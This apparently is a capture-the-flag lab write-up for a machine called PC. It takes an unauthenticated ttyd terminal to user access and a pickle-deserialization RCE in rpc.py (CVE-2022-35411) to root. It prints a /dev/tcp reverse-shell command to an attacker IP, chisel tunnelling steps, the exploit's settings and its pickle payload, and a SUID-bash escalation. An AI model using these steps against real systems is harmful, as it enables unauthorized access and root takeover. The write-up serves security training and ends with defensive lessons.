PC
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. PC exposes a ttyd on 8000, an unauthenticated web terminal: opening it already gives a shell asuser. Locally,rpc.pyruns asrootlistening on127.0.0.1:65432; it's version 0.6.0, vulnerable to CVE-2022-35411 (RCE via pickle deserialization). We forward the port withchisel(port forwarding) and run the exploit (pickle RCE) with a payload that sets SUID on/bin/bash; abash -p(SUID abuse) givesroot.
Recon
Initial scan
The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.
ping -c 1 192.168.190.21064 bytes from 192.168.190.210: icmp_seq=1 ttl=61 time=30.7 msWe sweep all TCP ports, then fingerprint versions:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.190.210PORT STATE SERVICE
22/tcp open ssh
8000/tcp open httpnmap -p22,8000 -sCV 192.168.190.210 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
8000/tcp open http ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
|_http-title: ttyd - TerminalOnly SSH and, on 8000, a ttyd: a server that publishes a terminal of the machine through the browser (over WebSocket). If exposed without authentication, it's a shell straight away.
Initial access
ttyd: unauthenticated web terminal
We open http://192.168.190.210:8000 and find an interactive terminal already logged in as user:
id
ip a
uid=1000(user) gid=1000(user) groups=1000(user)Before triggering the shell, we set up an nc listener:
penelope 8000To work more comfortably (and because ttyd can be flaky), we fire a reverse shell back to our box:
bash -i >& /dev/tcp/192.168.45.196/8000 0>&1
(Penelope)> listeners add -p 8000
[+] Got reverse shell from pc~192.168.190.210-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
user@pc:/home/user$ whoami
userPrivilege escalation
Local rpc.py 0.6.0: CVE-2022-35411
Enumerating processes and ports, we spot an interesting service: rpc.py running as root and listening only on localhost:
ps aux | grep root
cat /opt/rpc.py
netstat -tulnroot 1050 python3 /opt/rpc.py
...
uvicorn.run(app, interface="asgi3", port=65432)
tcp 0 0 127.0.0.1:65432 0.0.0.0:* LISTENrpc.py 0.6.0 is vulnerable to CVE-2022-35411: the server picks the deserializer based on the serializer header, and asking for pickle makes it pickle.loads() whatever we send, executing code (pickle deserialization). The service only listens on 127.0.0.1, so we first need to reach it from outside.
Port forwarding with chisel
We upload chisel (repo) to the victim and set up a reverse tunnel to expose its 65432 on our machine (port forwarding). First we grab the prebuilt binary from the project's releases (it ships gzipped) and serve it over HTTP:
# on the attacker:
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
ls
python3 -m http.server 80
chisel_1.7.7_linux_amd64 reports
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...On the victim we download it into /dev/shm (a memory-backed tmpfs, world-writable and leaving no trace on disk) and make it executable:
# on the victim:
wget http://192.168.45.196/chisel_1.7.7_linux_amd64
chmod +x chisel_1.7.7_linux_amd64
user@pc:/dev/shm$ wget http://192.168.45.196/chisel_1.7.7_linux_amd64
HTTP request sent, awaiting response... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: 'chisel_1.7.7_linux_amd64'
'chisel_1.7.7_linux_amd64' saved [8077312/8077312]On our box we rename the binary to chisel (for convenience, on both sides) and bring up the server side with --reverse, which is what allows clients to open tunnels in the reverse direction:
# on the attacker:
mv chisel_1.7.7_linux_amd64 chisel
chmod +x chisel
./chisel server --reverse -p 1234
2026/01/08 20:36:52 server: Reverse tunnelling enabled
2026/01/08 20:36:52 server: Fingerprint md7kzYM26jjSq5QEsvchydjlgNcTGlN9xvAP88NcOWo=
2026/01/08 20:36:52 server: Listening on http://0.0.0.0:1234And from the victim we connect the client asking for the remote R:65432, meaning: "open a 65432 on the server that comes out of my 127.0.0.1:65432":
# on the victim:
./chisel client 192.168.45.196:1234 R:65432
user@pc:/dev/shm$ ./chisel client 192.168.45.196:1234 R:65432
2026/01/08 20:38:55 client: Connecting to ws://192.168.45.196:1234
2026/01/08 20:38:55 client: Connected (Latency 33.279669ms)With the tunnel, the victim's 127.0.0.1:65432 becomes reachable on our 127.0.0.1:65432.
Exploit: pickle RCE to root
We fetch the public exploit (50983.py, CVE-2022-35411) and tweak it to point at 127.0.0.1:65432, with the serializer: pickle header, running a payload that sets the SUID bit on /bin/bash:
HOST = "127.0.0.1:65432"
URL = f"http://{HOST}/sayhi"
HEADERS = {"serializer": "pickle"}
...
exec_command('chmod u+s /bin/bash')python3 rpc_exp.py
b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x13chmod u+s /bin/bash\x94\x85\x94R\x94.'The payload is a pickle object that, when deserialized on the server (as root), runs chmod u+s /bin/bash. We check the SUID bit and open a shell that keeps root's euid (SUID abuse):
ls -l /bin/bash
bash -p
whoami
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
rootWith the root shell we read the proofs (local.txt in user's home and proof.txt in /root).
Attack chain
ttyd (8000) -- unauthenticated web terminal
│ direct shell -> reverse shell
▼
shell as user
│ rpc.py 0.6.0 as root on 127.0.0.1:65432 (CVE-2022-35411)
│ chisel R:65432 (port forwarding) -> pickle exploit -> chmod u+s /bin/bash
▼
shell as root (bash -p)Lessons learned
- An exposed web terminal is an open door.
ttydwithout authentication publishes a machine shell in the browser; it should never be reachable without access control (let alone on a public interface). pickleis code execution, not a data format. Deserializing pickle from an untrusted source allows RCE;rpc.py0.6.0 exposes it by design by accepting theserializer: pickleheader (CVE-2022-35411).- "Only listens on localhost" is no defense against an attacker with a shell. An internal service is reached with port forwarding (
chisel); binding to127.0.0.1reduces the external surface, but doesn't protect once inside. - The SUID +
bash -ppattern closes many privescs. If we can run something asroot, making/bin/bashSUID and openingbash -pis the most direct path to a privileged shell.